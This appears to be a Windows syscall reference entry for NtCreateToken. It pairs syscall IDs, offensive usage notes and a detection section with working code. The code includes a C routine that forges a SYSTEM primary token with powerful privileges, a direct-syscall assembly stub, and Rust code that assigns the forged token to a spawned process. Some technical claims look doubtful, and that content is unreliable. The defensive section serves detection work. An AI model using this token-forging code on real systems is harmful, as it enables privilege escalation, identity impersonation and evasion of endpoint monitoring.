NtCreateToken
Forges an access token from scratch with caller-specified user, groups, privileges, owner, default DACL and source — gated by SeCreateTokenPrivilege.
Prototype
NTSTATUS NtCreateToken( PHANDLE TokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, TOKEN_TYPE Type, PLUID AuthenticationId, PLARGE_INTEGER ExpirationTime, PTOKEN_USER User, PTOKEN_GROUPS Groups, PTOKEN_PRIVILEGES Privileges, PTOKEN_OWNER Owner, PTOKEN_PRIMARY_GROUP PrimaryGroup, PTOKEN_DEFAULT_DACL DefaultDacl, PTOKEN_SOURCE Source );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| TokenHandle | PHANDLE | out | Receives a handle to the newly forged token. |
| DesiredAccess | ACCESS_MASK | in | Access mask. TOKEN_ALL_ACCESS (0xF01FF) lets the caller do anything with the result. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Object attributes. SecurityQualityOfService here picks the impersonation level for the new token. |
| Type | TOKEN_TYPE | in | TokenPrimary (1) or TokenImpersonation (2). Primary tokens can be assigned with NtAssignProcessToken / CreateProcessAsUser; impersonation tokens with NtSetInformationThread. |
| AuthenticationId | PLUID | in | LUID identifying the logon session. SYSTEM is {0x3E7,0}. Use a real session LUID to inherit kerberos tickets etc. |
| ExpirationTime | PLARGE_INTEGER | in | Token expiration. Practically ignored on every shipping build — use a large value (MAX_LARGE_INTEGER) for a non-expiring token. |
| User | PTOKEN_USER | in | TOKEN_USER struct giving the user SID — typically a domain user or SYSTEM for total impersonation. |
| Groups | PTOKEN_GROUPS | in | Array of group SIDs with attributes. Add Domain Admins, Enterprise Admins etc. to fabricate elevated membership. |
| Privileges | PTOKEN_PRIVILEGES | in | Privilege set assigned to the token. Typically the union of SeDebugPrivilege, SeTcbPrivilege, SeAssignPrimaryTokenPrivilege etc. when forging. |
| Owner | PTOKEN_OWNER | in | Default owner SID applied to objects created by the token's process. |
| PrimaryGroup | PTOKEN_PRIMARY_GROUP | in | Primary group SID (POSIX heritage). Usually Domain Users. |
| DefaultDacl | PTOKEN_DEFAULT_DACL | in | Default DACL applied to new objects. NULL is accepted — kernel substitutes a permissive default. |
| Source | PTOKEN_SOURCE | in | TOKEN_SOURCE.SourceName is an 8-byte label visible to auditing — "*SYSTEM*", "User32", "Advapi", or attacker-chosen. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0xB6 | win10-1507 |
| Win10 1607 | 0xB9 | win10-1607 |
| Win10 1703 | 0xBC | win10-1703 |
| Win10 1709 | 0xBD | win10-1709 |
| Win10 1803 | 0xBE | win10-1803 |
| Win10 1809 | 0xBF | win10-1809 |
| Win10 1903 | 0xC0 | win10-1903 |
| Win10 1909 | 0xC0 | win10-1909 |
| Win10 2004 | 0xC4 | win10-2004 |
| Win10 20H2 | 0xC4 | win10-20h2 |
| Win10 21H1 | 0xC4 | win10-21h1 |
| Win10 21H2 | 0xC5 | win10-21h2 |
| Win10 22H2 | 0xC5 | win10-22h2 |
| Win11 21H2 | 0xCA | win11-21h2 |
| Win11 22H2 | 0xCB | win11-22h2 |
| Win11 23H2 | 0xCB | win11-23h2 |
| Win11 24H2 | 0xCD | win11-24h2 |
| Server 2016 | 0xB9 | winserver-2016 |
| Server 2019 | 0xBF | winserver-2019 |
| Server 2022 | 0xC9 | winserver-2022 |
| Server 2025 | 0xCD | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 CD 00 00 00 mov eax, 0xCD F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
The one syscall that *creates a token without authenticating anything*. The gate is SeCreateTokenPrivilege, which by default is held only by LSASS — the Local Security Authority Subsystem. No interactive user, not even an Administrator, holds this privilege at logon, and even the local SYSTEM account does not (SYSTEM gets it via the LSA package context, not via its token). That means the practically-relevant question for offensive use is: *do you have code execution inside lsass.exe (or have you stolen a token from lsass.exe that already has the privilege enabled)?* If yes, you can mint a TokenPrimary for any SID with any group membership and any privilege set. The result is then assignable via `NtAssignProcessToken` to make `CreateProcessAsUser`-style child processes that look like the forged identity. The kernel does not verify that the User SID actually exists in any database.
Common malware usage
T1134.003 *Make and Impersonate Token* in its purest form. Once an attacker has SYSTEM and reaches lsass.exe (Mimikatz `sekurlsa::pth`, `token::create`, ProcDump-then-LSASS-Parser pipelines, Pypykatz, Nanodump-derived chains, the post-LSASS workflows of Brute Ratel and Cobalt Strike), this is the call that materializes the forged identity. Variants include: build a 'service' identity (`AuthenticationId={0x3E7,0}`, all privileges) for SYSTEM-equivalent persistence; build a domain-admin impersonation token whose User SID matches a target the attacker plans to impersonate against a remote service (silver-ticket-without-Kerberos); or stage a chain where NtCreateToken yields a primary token, NtAssignProcessToken assigns it to a shell process, and the resulting cmd.exe appears in Process Explorer as DOMAIN\Administrator without ever logging in. The PoC ConVME by Clément Labro and several public 'token-magic' tools demonstrate the full chain.
Detection opportunities
This is the single most monitored token syscall on hardened environments. Microsoft-Windows-Threat-Intelligence emits an event on success. Defender for Endpoint surfaces it as 'Token forged' / 'Anomalous token creation' and ties it to the parent lsass.exe context. Security event 4673 (privileged-service-call) plus 4672 (special privileges assigned to new logon) fire on every consumption of the resulting token. The reliable defensive posture is: any NtCreateToken caller that is *not* a Microsoft-signed component inside lsass.exe is by definition malicious — there is no legitimate third-party use of this syscall. Credential Guard (VBS) renders the LSA SECRETS unreadable from user-mode and is the primary mitigation against the prerequisite, but does not directly block NtCreateToken if the attacker has already minted SeCreateTokenPrivilege via a different path.
Direct syscall examples
cSkeleton: forge a SYSTEM primary token (post-LSASS)
// Pre-req: caller is impersonating an LSASS thread token that already
// has SeCreateTokenPrivilege enabled. Otherwise NtCreateToken returns 0xC0000061.
//
// Builds the absolute minimum: User=NT AUTHORITY\SYSTEM, Groups=BUILTIN\Administrators,
// Privileges = {SeDebug, SeTcb, SeAssignPrimaryToken, SeImpersonate}. Many fields here
// are stack-allocated for brevity; production code uses a single contiguous heap blob.
#include <ntsecapi.h>
#include <sddl.h>
typedef NTSTATUS(NTAPI* fnNtCreateToken)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE);
HANDLE ForgeSystemToken(void) {
PSID sidSystem = NULL, sidAdmins = NULL;
ConvertStringSidToSidA("S-1-5-18", &sidSystem);
ConvertStringSidToSidA("S-1-5-32-544", &sidAdmins);
TOKEN_USER tu = { { sidSystem, 0 } };
SID_AND_ATTRIBUTES grp = { sidAdmins, SE_GROUP_ENABLED | SE_GROUP_MANDATORY };
BYTE grpsBuf[64] = { 0 };
PTOKEN_GROUPS groups = (PTOKEN_GROUPS)grpsBuf;
groups->GroupCount = 1; groups->Groups[0] = grp;
BYTE prvBuf[128] = { 0 };
PTOKEN_PRIVILEGES privs = (PTOKEN_PRIVILEGES)prvBuf;
privs->PrivilegeCount = 4;
LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &privs->Privileges[0].Luid);
LookupPrivilegeValueA(NULL, SE_TCB_NAME, &privs->Privileges[1].Luid);
LookupPrivilegeValueA(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privs->Privileges[2].Luid);
LookupPrivilegeValueA(NULL, SE_IMPERSONATE_NAME, &privs->Privileges[3].Luid);
for (DWORD i = 0; i < privs->PrivilegeCount; i++)
privs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;
TOKEN_OWNER owner = { sidAdmins };
TOKEN_PRIMARY_GROUP pgrp = { sidAdmins };
TOKEN_SOURCE src = { { '*','S','Y','S','T','E','M','*' } };
AllocateLocallyUniqueId(&src.SourceIdentifier);
LUID authId = { 0x3E7, 0 }; // SYSTEM_LUID
LARGE_INTEGER exp; exp.QuadPart = 0x7FFFFFFFFFFFFFFFLL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
HMODULE n = GetModuleHandleA("ntdll.dll");
fnNtCreateToken pCreate = (fnNtCreateToken)GetProcAddress(n, "NtCreateToken");
HANDLE hTok = NULL;
pCreate(&hTok, TOKEN_ALL_ACCESS, &oa, TokenPrimary,
&authId, &exp, &tu, groups, privs, &owner, &pgrp, NULL, &src);
LocalFree(sidSystem); LocalFree(sidAdmins);
return hTok;
}asmx64 direct stub (Win11 24H2 SSN)
; SSN 0xCD on win11-24h2 / winserver-2025. 13 args — most spill to the stack;
; in syscall ABI the kernel reads them from the user stack directly.
NtCreateToken PROC
mov r10, rcx
mov eax, 0CDh
syscall
ret
NtCreateToken ENDPrustAssign the forged token to a child process
// Skeleton wrapper that takes a forged HANDLE from `forge_system_token()`
// and assigns it as the primary token of a freshly spawned cmd.exe.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::PROCESS_ACCESS_TOKEN;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
type NtSetInformationProcess = unsafe extern "system" fn(
proc: HANDLE, class: u32, info: *mut u8, len: u32,
) -> i32;
pub unsafe fn assign_token(target_process: HANDLE, forged_token: HANDLE) -> i32 {
#[repr(C)]
struct ProcessAccessToken { token: HANDLE, thread: HANDLE }
let n = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
let addr = GetProcAddress(n, b"NtSetInformationProcess\0".as_ptr()).unwrap();
let f: NtSetInformationProcess = std::mem::transmute(addr);
let mut pat = ProcessAccessToken { token: forged_token, thread: 0 as HANDLE };
f(target_process, PROCESS_ACCESS_TOKEN, &mut pat as *mut _ as *mut u8,
core::mem::size_of::<ProcessAccessToken>() as u32)
}MITRE ATT&CK mappings
Last verified: 2026-05-20